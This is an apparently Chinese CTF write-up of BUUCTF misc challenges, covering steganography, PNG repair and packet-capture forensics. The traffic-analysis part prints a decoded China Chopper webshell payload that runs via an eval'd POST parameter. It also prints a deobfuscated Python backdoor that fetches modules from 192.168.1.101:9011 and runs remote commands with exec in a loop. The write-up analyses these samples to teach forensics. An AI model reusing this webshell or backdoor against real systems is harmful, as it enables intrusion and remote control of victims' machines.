【BUUCTF】MISC WP Ⅱ

[MRCTF 2020] Hello_ misc

文件名提示修复图片,用 stegsolve 修复红色色道,保存为 png 得到密码

binwalk 发现藏着一个压缩包,提出来解压得到 out.txt
① 分析
反复出现 127、255、63、191 这几个数字
二进制分别对应:01111111、11111111、00111111、10111111
最高两位分别为:01、11、00、10
② 脚本
每四个为一组,二进制 ⇒ 十进制 ⇒ 字符(ASCII码)进行输出
输出结果:rar-passwd: 0ac1fe6b77be5dbe,解压得到 fffflag.zip

from binascii import *

# 读取数字
fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
# 最高两位
s = ""
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
print (s)
out = ""
# 每八个字符为一组
for i in range(0,len(s),8):
    # 二进制转十进制
    x = int(s[i:i+8],2) 
    # 十进制转十六进制
    out += chr(x) 
    print ('标志位 '+ str(i) + ': ' + str(s[i:i+8]) +' -> ' + str(x) + ' -> ' + str(chr(x)))
print (out)

这一看就是 docx 文件,全选文字改色,将每一行 base64 解码,得到一堆 1 和 0

观察良久,发现把 1 去掉,0 围成了有意义的字母,猜测:flag{He1Lo_mi5c~}

[BSidesSF 2019] zippy

① binwalk 发现藏着一个压缩包
流量包拖入 wireshark,追踪 TCP 流
发现一条 Shell 命令:unzip -P supercomplexpassword flag.zip
② 我们知道命令格式:unzip -P { 密码 } { 压缩包 }
所以密码为 supercomplexpassword,解压得到:flag{this_flag_is_your_flag}

[UTCTF 2020] docx

binwalk 一下发现 docx 里藏了很多图片

直接改后缀名,解压,在 \word \media 目录下找到 flag

[湖南省赛 2019] Findme

① 先 strings 了一下隐藏信息
4.png 信息:another part: cExlX1BsY
5.png 信息:I give U a gift: Yzcllfc0lN
猜测 flag 就是五张图片加起来的 base64 解码
② 1.png 这种图,要么是虚幻要么是宽高被改
这里用脚本跑一下原来的宽高
输出宽字节为:00 00 00 e3,高字节为:00 00 01 c5

import zlib
import struct

filename = '111.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095           
    for w in range(n):          
        width = bytearray(struct.pack('>i', w))    
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("宽为:",end="")
                print(width)
                print("高为:",end="")
                print(height)

在 winhex 中修改宽高后,发现图片坏的,这种情况只可能是 IDAT 有问题

打开 010editor,修复 chunk[2]、chunk[3] 的 IDAT 标识,得到了正常图片
用 Stegsolve 打开,在 blue 2 色道发现二维码,扫描:ZmxhZ3s0X3
③ 不难发现 3.png 文件尾的 37 7A 03 04 和 ZIP 的 50 4B 03 04 的格式很像

全部修改,保存解压,得到一堆 txt,在 618.txt 里找到:You find it: 1RVcmVfc
④ 3.png 的 chunk[0] - chunk[6] 的每一个数据块的 crc 值都是可打印的 ascii 字符
所以 0x33,0x52,0x6C,0x5A,0x33,0x30,0x3D => 3RlZ30=
⑤ 总结一下:
1.png:ZmxhZ3s0X3,base64 解码:flag{4_
2.png:1RVcmVfc
3.png:3RlZ30=

4.png:cExlX1BsY
5.png:Yzcllfc0lN
1 解码得到:flag{4_ ,放最前,3 放最后,然后 2、4、5 多试几次
按照 15423 的顺序拼接,解码得到:flag{4_v3rY_sIMpLe_PlcTUre_steg}

[GWCTF 2019] huyao

考点:盲水印(BlindWaterMark)
python2 bwm.py decode huyao.png stillhuyao.png flag.png
python3 bwmforpy3.py decode huyao.png stillhuyao.png flag.png

[UTCTF 2020] Zero

考点:零宽度字符隐写

将 txt 文件用 vim 查看,其中隐藏了 U+200B、U+200C、U+200D、U+FEFF、U+202C
找个网址去掉就行了:utflag{whyNOT@sc11_4927aajbqk14}

[GUET-CTF 2019] soul sipse

hint:flag{a+b}
起初以为是电码题,后来发现是隐写,音频一般 binwalk 分不开
用 steghide 分出 download.txt

得到网址:https://share.weiyun.com/5wVTIN3
下载得到 GUET.png ,修复文件头后打开,得到 unicode 码
解码,flag{5304}

  • 图片分析之隐写术

隐写术:一门关于信息隐藏的技巧与科学
信息隐藏:指不让预期的接收者外的任何人知晓信息的传递事件或信息的内容
隐写与编码加密概念并不相同,但经常会将两者结合起来进行出题

  • 附加式图片隐写

就是在载体文件上附加隐写内容,而我们要提取出载体文件中被隐藏的内容
在 CTF 赛事中,有两种常见方式:直接附加字符串 ,图片作为其他文件的载体

① 直接附加字符串,一般用 strings 命令查看,也可以用 010 Editor 查看
② 图片作为其他文件的载体
最常见的是图种。图种就是将图片与压缩包结合起来的文件,文件保存为图片格式,可以正常显示图片。由于操作系统识别的过程是,从文件头标志到文件的结束标志位,当识别到图片的结束标志位后,默认不再继续识别,所以我们只能看到它是一张图片。

对于这类的隐写,我们可以通过 winhex、010 Editor 、binwalk 分离文件
  • 基于文件结构的图片隐写

A)文件头数据块(IHDR)
PNG 文件的第一个数据块,而且一个 PNG 只能有一个文件头数据块
它包含 PNG 图像的基本信息,图片的宽高,图像深度,图像类型,压缩方法等
如图所示,标蓝部分为 IHDR 数据块
00 00 00 0D 代表头块长,49 48 44 52 代表 IHDR 标识
00 00 02 D3 代表图片的宽,00 00 02 46 代表图片的高
在 CTF 中,经常通过改变宽高使得图片显示不完整,或无法显示从而隐写
我们不能轻易修改图片宽高的值,以防图片报错打不开,可以:
① 通过 CRC 值推算宽高的值 ② 修改宽高的值后计算出新的 CRC 值进行替换

import zlib
import struct

filename = 'test.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095           
    for w in range(n):          
        width = bytearray(struct.pack('>i', w))    
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("宽为:",end="")
                print(width)
                print("高为:",end="")
                print(height)

B)调色板数据块(PLTE)
它仅与索引彩色图像有关,包含了与索引彩色图像相关的变换数据,必须放在图像数据块之前。真彩色的 PNG 数据流也可以有 PLTE,便于非真彩色显示程序用它来量化图像数据,进而显示图像。
数据流:一组有序的字节数据序列,代表传输中所使用信息的数字编码信号序列
C)图像数据块(IDAT)
IDAT 存储图像真正的数据,在数据流中可以有多个连续的 IDAT
IDAT 块只有当上一个块充满时,才会继续一个新的块
IDAT 采用 LZ77 算法的派生算法进行压缩,可以用 zlib 解压缩

D)IEND
图像结束数据(IEND):用来标记文件或数据流已经结束,必须放在文件尾
IEND 的长度是 00 00 00 00,数据标识是 49 45 4E 44,CRC 值是 AE 42 60 82

2020 年 10 月 17 日

  • 流量分析 —— CTF题目实战

  • 题目 1

解码得到:User: test@51elab.com ,Pass: FLAG:ISCCTESTpas

  • 题目 2

随便跟踪一个 TCP 流
  • 题目 3

① 切换至 http 进行查看,发现大量数据爆破,猜想是黑客进行扫描

② 浏览之后发现黑客执行 phpinfo 成功,执行命令:
print_r(gzcompress(file_get_contents(base64_decode(%22aW5kZXgucGhw%22))))
print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))))

解码得到操作文件名:index.php ,flag.txt
③ 我们切换至原始数据,提取到 flag.txt 的 gz 压缩二进制内容:
789ccbc82c492e49abb6304d32484c354eb4483437b048b234324f4a334c343648494b334e36333531a8e5020018cb0c6c
保存成文件,然后写脚本进行解压缩,得到 flag

php
<?php 
$a = gzuncompress(file_get_contents('./test'));
echo $a;
?>
  • 题目 4

先查看 http 流量,发现黑客不断向 /uploads/dvwa.php 提交 POST 数据

根据目录,猜想可能存在一句话木马,进入 tcp 流跟踪,发现可疑操作:

cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCg
wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiK
SREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWi
IpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0c
Hd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9
KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

URL 解码,BASE64 解码,发现为中国菜刀的流量:

php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;;
echo("|<-");
die();

为了找 key,遍历查看黑客操作

① 在 tcp stream 5 发现存在 rar 压缩包
提出来,解压是一张图片,得到 key1 = c7265f89

② 在 tcp stream 6 发现存在 png 图片
我们将数据复制存入 123.txt,运行解码的 php 语言写入至文件 1.png
<?php
function str2bin($hexdata)
    {
        $bindata="";
        for ($i=0;$i < strlen($hexdata);$i+=2) {
            $bindata.=chr(hexdec(substr($hexdata,$i,2)));
        }
        return $bindata;
    }
$a = file_get_contents("./123.txt");
$a = $a;
$b = str2bin($a);
file_put_contents("./1.png",$b);

图片里得到 key2 = 8a52fcc4,完整 key = c7265f898a52fcc4

  • 题目 5

打开 tcp 跟踪流,猜测存在 pyc 文件流内容
http 导出对象,然后在线 pyc 反编译,成功得到 client.py
打开有大量 base64 拆分数组的混淆
最后的 base64 代码,解码得到:
python
strr = ""
for i in range(0,1158):
strr=strr+arg[i][::-1]
exec(base64.b64decode(strr))

再结合 1158 个混淆数组,运行得到:

import base64
import socket
import sys
import os
import time

decs = ' A/MNCs/sv1ljAAAAAAAAAAAGAAAAQAAMA ……… ' (太长,就省略了)
f2 = open('d'+'e'+'c'+'.'+'p'+'y'+'c','w'); # dec.pyc
f2.write(base64.b64decode(decs));
f2.close();

import dec;
os.system('rm -rf dec.pyc')
remote_ip = '192.168.1.101'
port = 9011

def send_m(remote_ip, port, msg, get=False):
    all_data=[]
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket链接
        s.connect((remote_ip , port))
        if get:
            message = msg
        else:
            message = enc.fun(msg) # 密文加密
        s.sendall(message)
        while True:
            data = s.recv(20480)
            if data: 
                string = bytes.decode(data, 'utf-8')
                break
        return dec.fun(string) # 密文解密
    except socket.error, msg:
        print 'emmmmmmm_boom'
        sys.exit();
        
encs=send_m(remote_ip,port,'just_a_test',True)
f1 = open('e'+'n'+'c'+'.'+'p'+'y'+'c','w'); # enc.pyc
f1.write(base64.b64decode(encs));
f1.close();

import enc;
os.system('rm -rf enc.pyc')

while True:
    exec(send_m(remote_ip,port,'I lose my way'))
    print('new loop after 5s')
    time.sleep(5)

代码首先写入了 dec.pyc,调用了 dec.fun 函数进行密文解密

并且发现这是一个 socket 链接,我们在流量包中找到密文
调用 dec.py 解密,即可得到 flag
  • 题目 6

解压后得到文件:++ __ ++
由于不知道后缀,file 查看一下:++__++: pcap-ng capture file - version 1.0
改后缀,分析流量,在追踪 TCP 流时发现文件内容

# coding:utf-8
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64

IV = 'QWERTYUIOPASDFGH'
def decrypt(encrypted):
  aes = AES.new(IV, AES.MODE_CBC, IV)
  return aes.decrypt(encrypted)
def encrypt(message):
  length = 16
  count = len(message)
  padding = length - (count % length)
  message = message + '\0' * padding
  aes = AES.new(IV, AES.MODE_CBC, IV)
  return aes.encrypt(message)
str = 'this is a test'
example = encrypt(str)
print(decrypt(example))

发现函数调用了 AES 加密:
aes = AES.new(IV, AES.MODE_CBC, IV)
偏移量为 IV ,加密模式为 CBC ,密钥为 IV
其中 IV = 'QWERTYUIOPASDFGH'
寻找密文,发现操作:[root@localhost wireshark]# cat 22
得到密文:19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo=

解密得到:passwd={No_One_Can_Decrypt_Me}
继续分析流量,发现操作:
[root@localhost wireshark]# cat 11
Rar!....3................TU..<..... .+......flag.txt0.....n.Kr..z....uEo.Bn&=i.S..>....4.B..~...xj.".
...u......3.....jWj..%m..!.+h...+s..q#.]...3Ks.y.....r.2...wVQ....[root@localhost wireshark]#

里面藏了压缩包 RAR,提出来解压得到 flag

推荐阅读更多精彩内容